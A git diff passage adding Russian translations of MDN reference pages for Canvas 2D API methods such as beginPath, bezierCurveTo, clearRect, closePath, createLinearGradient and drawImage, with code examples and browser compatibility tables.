+const p0 = { x: 0, y: 50 };
+
+const p1 = { x: 100, y: 100 };
+const p2 = { x: 150, y: 50 };
+const p3 = { x: 200, y: 100 };
+
+const labelPoint = function (p, offset, i = 0){
+    const {x, y} = offset;
+    ctx.beginPath();
+    ctx.arc(p.x, p.y, 2, 0, Math.PI * 2);
+    ctx.fill();
+    ctx.fillText(`${i}:(${p.x}, ${p.y})`, p.x + x, p.y + y);
+}
+
+const drawPoints = function (points){
+  for (let i = 0; i < points.length; i++) {
+    var p = points[i];
+    labelPoint(p, { x: 0, y: -20 } , i)
+  }
+}
+
+// Draw arc
+const drawArc = function ([p0, p1, p2], r) {
+  ctx.beginPath();
+  ctx.moveTo(p0.x, p0.y);
+  ctx.arcTo(p1.x, p1.y, p2.x, p2.y, r);
+  ctx.lineTo(p2.x, p2.y);
+  ctx.stroke();
+}
+
+
+let t0 = 0;
+let rr = 0; // радиус, который меняется со временем
+let a  = 0; // angle
+let PI2 = Math.PI * 2;
+const loop = function (t) {
+  t0 = t / 1000;
+  a  = t0 % PI2;
+  rr = Math.abs(Math.cos(a) * r);
+
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+
+  drawArc([p1, p2, p3], rr);
+  drawPoints([p1, p2, p3]);
+  requestAnimationFrame(loop);
+}
+
+loop(0);
+ +

Результат

+ +

{{EmbedLiveSample('Живая_демонстрация', 315, 200) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arcto", "CanvasRenderingContext2D.arcTo")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ +

{{Compat("api.CanvasRenderingContext2D.arcTo")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html new file mode 100644 index 0000000000..2f6aa4c3e1 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html @@ -0,0 +1,128 @@ +--- +title: CanvasRenderingContext2D.beginPath() +slug: Web/API/CanvasRenderingContext2D/beginPath +translation_of: Web/API/CanvasRenderingContext2D/beginPath +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.beginPath() Canvas 2D API запускает новый путь, опуская список подпутей. Вызовите этот метод, когда хотите создать новый путь.

+ +

Синтакс

+ +
void ctx.beginPath();
+
+ +

Примеры

+ +

Использование beginPath метода

+ +

Это простой фрагмент кода, использующий beginPath метод.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Первый путь
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.stroke();
+
+// Второй путь
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20, 20);
+ctx.lineTo(120, 120);
+ctx.stroke();
+
+ +

Отредактируйте код ниже чтобы увидеть изменения в canvas:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height:200px">
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 460) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.beginPath")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html new file mode 100644 index 0000000000..209c19e523 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html @@ -0,0 +1,193 @@ +--- +title: CanvasRenderingContext2D.bezierCurveTo() +slug: Web/API/CanvasRenderingContext2D/bezierCurveTo +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/bezierCurveTo +--- +
{{APIRef}}
+ +

Сводка

+ +

Метод CanvasRenderingContext2D.bezierCurveTo(), предоставляемый Canvas 2D API, добавляет кубическую кривую Безье к контуру. Для построения требуются три точки. Первые две точки являются контрольными, а третья - конечной. Начальной точкой является последняя точка в текущем контуре, и она может быть изменена методом {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} перед созданием кривой Безье.

+ +

Синтаксис

+ +
void ctx.bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y);
+
+ +

Параметры

+ +
+
cp1x
+
Координата первой контрольной точки по оси x.
+
cp1y
+
Координата первой контрольной точки по оси y.
+
cp2x
+
Координата второй контрольной точки по оси x.
+
cp2y
+
Координата второй контрольной точки по оси y.
+
x
+
Координата конечной точки по оси x.
+
y
+
Координата конечной точки по оси y.
+
+ +

Примеры

+ +

Использование метода bezierCurveTo

+ +

Ниже представлен простой фрагмент кода, рисующий кривую Безье. Контрольные точки нарисованы красным цветом, а начальная и конечная точки - синим.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,20);
+ctx.bezierCurveTo(230, 30, 150, 60, 50, 100);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// начальная точка
+ctx.fillRect(50, 20, 10, 10);
+// конечная точка
+ctx.fillRect(50, 100, 10, 10);
+
+ctx.fillStyle = 'red';
+// первая контрольная точка
+ctx.fillRect(230, 30, 10, 10);
+// вторая контрольная точка
+ctx.fillRect(150, 70, 10, 10);
+ +

{{ EmbedLiveSample('Использование_метода_bezierCurveTo', 315, 165) }}

+ +

Практическое применение bezierCurveTo

+ +

Вы можете редактировать код, представленный ниже, и внесенные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.bezierCurveTo(50, 100, 180, 10, 20, 10);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Практическое_применение_bezierCurveTo', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beziercurveto", "CanvasRenderingContext2D.beziercurveto")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html new file mode 100644 index 0000000000..8d483e62a7 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html @@ -0,0 +1,66 @@ +--- +title: CanvasRenderingContext2D.canvas +slug: Web/API/CanvasRenderingContext2D/canvas +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Property + - Reference +translation_of: Web/API/CanvasRenderingContext2D/canvas +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.canvas является доступной только для чтения ссылкой на объект {{domxref("HTMLCanvasElement")}}, связанный с текущим контекстом. Может иметь значение {{jsxref("null")}}, если контекст не связан с элементом {{HTMLElement("canvas")}}.

+ +

Синтаксис

+ +
ctx.canvas;
+ +

Примеры

+ +

Создадим элемент {{HTMLElement("canvas")}}:

+ +
<canvas id="canvas"></canvas>
+
+ +

Вы можете получить ссылку на этот элемент из объекта CanvasRenderingContext2D, используя свойство canvas:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

 

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-dataand send us a pull request.

+ +

{{Compat("api.CanvasRenderingContext2D.canvas")}}

+ +

 

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html new file mode 100644 index 0000000000..33e198ddec --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html @@ -0,0 +1,187 @@ +--- +title: CanvasRenderingContext2D.clearRect() +slug: Web/API/CanvasRenderingContext2D/clearRect +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/clearRect +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.clearRect(), предоставляемый Canvas 2D API, устанавливает прозрачный черный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой (x, y) и размерами (width, height), таким образом стирая любое ранее нарисованное содержимое.

+ +

Синтаксис

+ +
void ctx.clearRect(x, y, width, height);
+
+ +

Параметры

+ +
+
x
+
Координата начальной точки прямоугольника по оси x.
+
y
+
Координата начальной точки прямоугольника по оси y.
+
width
+
Ширина прямоугольника.
+
height
+
Высота прямоугольника.
+
+ +

Примеры

+ +

Использование метода clearRect

+ +

Ниже представлен простой фрагмент кода, использующий метод clearRect.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// очистить весь холст
+// ctx.clearRect(0, 0, canvas.width, canvas.height);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height:140px;">
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 400) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html new file mode 100644 index 0000000000..b061088116 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html @@ -0,0 +1,114 @@ +--- +title: CanvasRenderingContext2D.closePath() +slug: Web/API/CanvasRenderingContext2D/closePath +tags: + - API + - Canvas + - Method +translation_of: Web/API/CanvasRenderingContext2D/closePath +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.closePath() - метод из Canvas 2D API, добавляет в путь линию от текущей до первоначальной точки под пути и закрывает сам путь (давая возможность инициализировать новый). Если путь пустой или содержит одну точку, этот метод ничего не делает.

+ +

Сама функция ничего не рисует. Он лишь позволяет отрисовывать путь таким методам, как {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}} и {{domxref("CanvasRenderingContext2D.fill()", "fill()")}}.

+ +

Синтаксис

+ +
void ctx.closePath();
+
+ +

Примеры

+ +

Замкнутый треугольник

+ +

В этом примере создаются две первые линии  сторон треугольника с испоьзованием метода lineTo(). После чего метод closePath() заканчивает рисование треугольника, автоматически соединяя первую и последнюю точки фигуры (в данном случае треугольника).

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

Точки треугольника находятся в координатах (20, 150), (120, 20),и (220, 150).

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 140);   // Двигает перо к нижнему левому углу
+ctx.lineTo(120, 10);   // Рисует линию к верхнему углу
+ctx.lineTo(220, 140);  // Рисует линию к нижнему правому углу
+ctx.closePath();       // Рисует линию к нижнему левому углу
+ctx.stroke();
+
+ +

Результат

+ +

{{ EmbedLiveSample('Closing_a_triangle', 700, 180) }}

+ +

Закрытие пути один раз

+ +

Этот пример рисует смайлик, состоящий из трех не соединенных дуг (под путей).

+ +
+

Хотя closePath() вызывается после создания всех дуг, закрывается только последняя.

+
+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

Первые две дуги создают глаза, последняя создает рот.

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(240, 20, 40, 0, Math.PI);
+ctx.moveTo(100, 20);
+ctx.arc(60, 20, 40, 0, Math.PI);
+ctx.moveTo(215, 80);
+ctx.arc(150, 80, 65, 0, Math.PI);
+ctx.closePath();
+ctx.lineWidth = 6;
+ctx.stroke();
+
+ +

Результат

+ +

{{ EmbedLiveSample('Closing_just_one_sub-path', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.closePath")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html new file mode 100644 index 0000000000..9337731350 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -0,0 +1,119 @@ +--- +title: CanvasRenderingContext2D.createLinearGradient() +slug: Web/API/CanvasRenderingContext2D/createLinearGradient +tags: + - API + - Градиент + - Холст + - метод +translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.createLinearGradient(), предоставляемый Canvas 2D API, создает градиент вдоль линии, соединенной двумя точками с заданными координатами.

+ +

+ +

Этот метод возвращает линейный {{domxref("CanvasGradient")}}. Для того, чтобы быть добавленным к фигуре, градиент должен быть задан свойством {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.

+ +
+

Заметка: Координаты градиента глобальны, т.е. относятся к текущему пространству координат. При добавлении градиента, его координаты определяются НЕ относительно координат фигур.

+
+ +

Синтаксис

+ +
CanvasGradient ctx.createLinearGradient(x0, y0, x1, y1);
+
+ +

Метод createLinearGradient() принимает четыре аргумента для определения начала и конца точек линии градиента.

+ +

Параметры

+ +
+
x0
+
Координата по оси X начальной точки.
+
y0
+
Координата по оси Y начальной точки.
+
x1
+
Координата по оси X конечной точки.
+
y1
+
Координата по оси Y конечной точки.
+
+ +

Возвращаемое значение

+ +
+
{{domxref("CanvasGradient")}}
+
Линейный CanvasGradient, определенный линией.
+
+ +

Примеры

+ +

Заполнение прямоугольника с линейным градиентом

+ +

В примере создается и добавляется линейный градиент, используя метод createLinearGradient(). Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Создание линейного градиента
+// Точка начала линии градиента: x=20, y=0
+// Точка конца линии градиента: x=220, y=0
+var gradient = ctx.createLinearGradient(20,0, 220,0);
+
+// Добавление трёх контрольных точек
+gradient.addColorStop(0, 'green');
+gradient.addColorStop(.5, 'cyan');
+gradient.addColorStop(1, 'green');
+
+// Установка стиля заливки и отрисовка прямоугольника градиента
+ctx.fillStyle = gradient;
+ctx.fillRect(20, 20, 200, 100);
+
+ +

Результат

+ +

{{ EmbedLiveSample('Заполнение_прямоугольника_с_линейным_градиентом', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.createLinearGradient")}}

+ +

Специфично для Gecko

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html new file mode 100644 index 0000000000..0e13fcc970 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html @@ -0,0 +1,90 @@ +--- +title: CanvasRenderingContext2D.currentTransform +slug: Web/API/CanvasRenderingContext2D/currentTransform +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Experimental + - Property +translation_of: Web/API/CanvasRenderingContext2D/currentTransform +--- +
{{APIRef()}} {{SeeCompatTable}}
+ +

Свойство CanvasRenderingContext2D.currentTransform, предоставляемое Canvas 2D API, возвращает или устанавливает объект {{domxref("SVGMatrix")}} для текущей матрицы преобразований.

+ +

Синтаксис

+ +
ctx.currentTransform [= value];
+
+ +
+
value
+
Объект {{domxref("SVGMatrix")}}, который будет использован в роли текущей матрицы преобразований.
+
+ +

Примеры

+ +

Использование метода currentTransform

+ +

Ниже представлен простой фрагмент кода, использующий свойство currentTransform для установки матрицы преобразований.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let matrix = ctx.currentTransform;
+matrix.a = 1;
+matrix.b = 1;
+matrix.c = 0;
+matrix.d = 1;
+matrix.e = 0;
+matrix.f = 0;
+ctx.currentTransform = matrix;
+ctx.fillRect(0, 0, 100, 100);
+ +

Результат

+ +

{{ EmbedLiveSample('Manually_changing_the_matrix', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-currenttransform", "CanvasRenderingContext2D.currentTransform")}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.currentTransform")}}

+ +

 

+ +

 

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html new file mode 100644 index 0000000000..881eb779d2 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html @@ -0,0 +1,328 @@ +--- +title: CanvasRenderingContext2D.drawImage() +slug: Web/API/CanvasRenderingContext2D/drawImage +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Ссылка + - метод +translation_of: Web/API/CanvasRenderingContext2D/drawImage +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.drawImage() метод Canvas 2D API предоставляет разные способы рисования изображения на холсте.

+ +

Синтаксис

+ +
void ctx.drawImage(image, dx, dy);
+void ctx.drawImage(image, dx, dy, dWidth, dHeight);
+void ctx.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight);
+
+ +

drawImage

+ +

Параметры

+ +
+
image
+
Элемент для отображения в контексте. Функция принимает любой источник изображения, пригодный для отображения на холсте ({{domxref("CanvasImageSource")}}), конкретнее, {{domxref("CSSImageValue")}},  {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} или {{domxref("OffscreenCanvas")}}.
+
dx
+
Координата по оси Х, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного image.
+
dy
+
Координата по оси Y, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного image.
+
dWidth
+
Ширина изображения, полученного из исходного image. Эта опция позволяет масштабировать изображение по ширине. Если опция не задана, изображение не будет масштабировано.
+
dHeight
+
Высота изображения, полученного из исходного image. Эта опция позволяет масштабировать изображение по высоте. Если опция не задана, изображение не будет масштабировано.
+
sx
+
Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.
+
sy
+
Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.
+
sWidth
+
Ширина фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник. Если не задана, фрагмент от точки, заданной sx и sy до правого нижнего угла источника будет целиком скопирован в контекст-приемник.
+
sHeight
+
Высота фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник.
+
+ +

Исключения

+ +
+
INDEX_SIZE_ERR
+
Выбрасывается, если ширина или высота источника или приемника равна нулю.
+
INVALID_STATE_ERR
+
Источник не имеет данных изображения.
+
TYPE_MISMATCH_ERR
+
Тип данных источника не поддерживается.
+
+ +

Примеры

+ +

Использование метода drawImage

+ +

Вот простой пример использования drawImage.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+<div style="display:none;">
+  <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227">
+</div>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var image = document.getElementById('source');
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+
+ +

Отредактируйте код ниже и посмотрите, как ваши изменения отражаются на холсте:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div style="display:none;">
+  <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
+</div>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Понимание размеров изображения-источника

+ +

Метод drawImage() использует внутренние размеры элемента-источника, выраженные в CSS-пикселях (а не реальные размеры самой картинки).

+ +

Например, если изображение было загружено с использованием необязательных параметров width и height в конструкторе {{domxref("HTMLImageElement")}}, вместо element.width и element.height вам следует использовать свойства naturalWidth и naturalHeight экземпляра картинки (или videoWidth и videoHeight, если источник {{htmlelement("video")}}), чтобы добиться правильного масштабирования и получения фрагментов картинки.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var image = new Image(60, 45);   // Размер изображения
+image.onload = drawImageActualSize; // Рисуем изображение, когда оно будет загружено
+
+// load an image of intrinsic size 300x227 in CSS pixels
+image.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+
+function drawImageActualSize() {
+  // use the intrinsic size of image in CSS pixels for the canvas element
+  canvas.width = this.naturalWidth;
+  canvas.height = this.naturalHeight;
+
+  // will draw the image as 300x227 ignoring the custom size of 60x45
+  // given in the constructor
+  ctx.drawImage(this, 0, 0);
+
+  // To use the custom size we'll have to specify the scale parameters
+  // using the element's width and height properties - lets draw one
+  // on top in the corner:
+  ctx.drawImage(this, 0, 0, this.width, this.height);
+}
+ +

Результат

+ +

{{EmbedLiveSample('Understanding_source_element_size', 700, 360)}}

+ +

 

+ +

Спецификация

+ +

 

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ImageBitmap как источник{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop(42)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
SVGImageElement как источник{{CompatChrome(59)}}{{CompatUnknown}}{{CompatGeckoDesktop(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Сглаживание при сжатии{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(56)}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
ImageBitmap как источник{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoMobile(42)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
